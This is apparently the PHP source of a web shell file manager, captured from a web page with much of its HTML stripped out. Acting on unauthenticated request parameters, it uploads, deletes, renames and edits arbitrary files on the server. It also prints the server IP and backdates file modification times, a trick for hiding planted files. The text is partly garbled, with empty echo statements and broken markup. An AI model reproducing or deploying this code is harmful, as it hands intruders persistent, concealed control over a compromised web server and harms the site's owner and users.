Server Ip Address is : ".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."

"; ?>

Home File
Swal.fire({ icon: '{$notification['type']}', title: '{$notification['title']}', text: '{$notification['text']}' }); "; unset($_SESSION['notification']); // Remove notification after displaying } // Function to format file size function formatSize($bytes) { $units = ['B', 'KB', 'MB', 'GB']; for ($i = 0; $i < count($units) && $bytes >= 1024; $i++) { $bytes /= 1024; } return round($bytes, 2) . ' ' . $units[$i]; } // Handle upload action if (isset($_POST['upload'])) { $current_dir = isset($_GET['j']) ? $_GET['j'] : getcwd(); $current_dir = rtrim(realpath($current_dir), '/') . '/'; if (!is_writable($current_dir)) { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'Directory is not writable.']; header("Location: ?j=" . htmlspecialchars($current_dir)); exit; } $target_file = $current_dir . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Upload Successful!', 'text' => "File successfully uploaded to: $target_file"]; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'File upload failed.']; } header("Location: ?j=" . htmlspecialchars($current_dir)); exit; } // Handle delete action if (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; if (is_dir($file_to_delete)) { $success = rmdir($file_to_delete); // Delete folder } else { $success = unlink($file_to_delete); // Delete file } if ($success) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Delete Successful!', 'text' => 'Item successfully deleted.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Delete Failed!', 'text' => 'Failed to delete item.']; } header("Location: ?j=" . htmlspecialchars(dirname($file_to_delete))); exit; } // Handle rename action if (isset($_POST['rename'])) { $old_name = $_POST['old_name']; $new_name = $_POST['new_name']; if (file_exists($old_name)) { if (rename($old_name, dirname($old_name) . '/' . $new_name)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Rename Successful!', 'text' => 'File or folder name successfully changed.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Rename Failed!', 'text' => 'Failed to change file or folder name.']; } } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'File Not Found!', 'text' => 'File or folder not found.']; } header("Location: ?j=" . htmlspecialchars(dirname($old_name))); exit; } if (isset($_POST['change_date'])) { $file_to_touch = $_POST['touch_file']; $new_date = $_POST['new_date']; // Validate date format $timestamp = strtotime($new_date); if ($timestamp === false) { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Invalid Date!', 'text' => 'Please enter a valid date format (YYYY-MM-DD HH:MM:SS).' ]; } elseif (!file_exists($file_to_touch)) { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Path Not Found!', 'text' => 'The file or folder does not exist.' ]; } else { // Change last modification date if (touch($file_to_touch, $timestamp)) { $_SESSION['notification'] = [ 'type' => 'success', 'title' => 'Date Changed!', 'text' => 'Last modification date has been updated for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.' ]; } else { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Change Failed!', 'text' => 'Failed to update last modification date for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.' ]; } } header("Location: ?j=" . htmlspecialchars(dirname($file_to_touch))); exit; } // Handle new file creation if (isset($_POST['create_file'])) { $file_name = $_GET['j'] . '/' . $_POST['new_file']; if (file_put_contents($file_name, '') !== false) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'New File Successful!', 'text' => 'New file successfully created.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'New File Failed!', 'text' => 'Failed to create new file.']; } header("Location: ?j=" . htmlspecialchars($_GET['j'])); exit; } // Handle new folder creation if (isset($_POST['create_folder'])) { $folder_name = $_GET['j'] . '/' . $_POST['new_folder']; if (mkdir($folder_name)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'New Folder Successful!', 'text' => 'New folder successfully created.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'New Folder Failed!', 'text' => 'Failed to create new folder.']; } header("Location: ?j=" . htmlspecialchars($_GET['j'])); exit; } // Show SweetAlert if there's a notification if (isset($_SESSION['notification'])) { $notification = $_SESSION['notification']; echo ""; unset($_SESSION['notification']); // Remove notification after displaying } // Determine directory $j = isset($_GET['j']) ? $_GET['j'] : getcwd(); $j = str_replace('\\', '/', $j); $paths = explode('/', $j); // Path navigation echo '
'; echo ' / '; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) continue; echo '' . htmlspecialchars($pat) . '/'; } echo '
'; // Separate action forms echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; // Table for folder and file list echo ''; echo ''; $scandir = scandir($j); // Loop for folders first foreach ($scandir as $file) { if ($file == '.' || $file == '..') continue; $full_path = "$j/$file"; // If folder if (is_dir($full_path)) { $last_modification = date("Y-m-d H:i:s", filemtime($full_path)); // Modification time echo ''; echo ''; echo ''; // Size for folder is "-" echo ''; echo ''; echo ''; echo ''; } } // Loop for files foreach ($scandir as $file) { if ($file == '.' || $file == '..') continue; $full_path = "$j/$file"; // If file if (!is_dir($full_path)) { $size = formatSize(filesize($full_path)); // Get file size $permissions = substr(sprintf('%o', fileperms($full_path)), -4); $last_modification = date("Y-m-d H:i:s", filemtime($full_path)); // Modification time $file_info = pathinfo($file); // Determine icon based on file type $icon = ''; // Default file icon if (isset($file_info['extension'])) { $ext = strtolower($file_info['extension']); if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) { $icon = ''; } elseif (in_array($ext, ['mp4', 'mkv', 'avi', 'mov'])) { $icon = ''; } elseif (in_array($ext, ['mp3', 'wav', 'ogg'])) { $icon = ''; } elseif (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) { $icon = ''; } elseif (in_array($ext, ['doc', 'docx', 'odt'])) { $icon = ''; } elseif (in_array($ext, ['xls', 'xlsx', 'ods'])) { $icon = ''; } elseif (in_array($ext, ['ppt', 'pptx', 'odp'])) { $icon = ''; } elseif (in_array($ext, ['pdf'])) { $icon = ''; } elseif (in_array($ext, ['txt', 'log', 'md'])) { $icon = ''; } elseif (in_array($ext, ['php', 'html', 'css', 'js', 'py', 'java', 'c', 'cpp'])) { $icon = ''; } } echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } } // When user opens a file for editing if (isset($_GET['edit'])) { $file_to_edit = $_GET['edit']; if (file_exists($file_to_edit)) { $content = file_get_contents($file_to_edit); echo ' '; } else { echo ""; } } // When user saves changes if (isset($_POST['save_edit'])) { $file_to_edit = $_POST['file_to_edit']; $file_content = $_POST['file_content']; if (file_put_contents($file_to_edit, $file_content) !== false) { echo ""; } else { echo ""; } } ?>
Directory/File Size Last Modification Permissions Action
' . htmlspecialchars($file) . '-' . $last_modification . '' . substr(sprintf('%o', fileperms($full_path)), -4) . '
' . $icon . '' . htmlspecialchars($file) . '' . $size . '' . $last_modification . '' . $permissions . '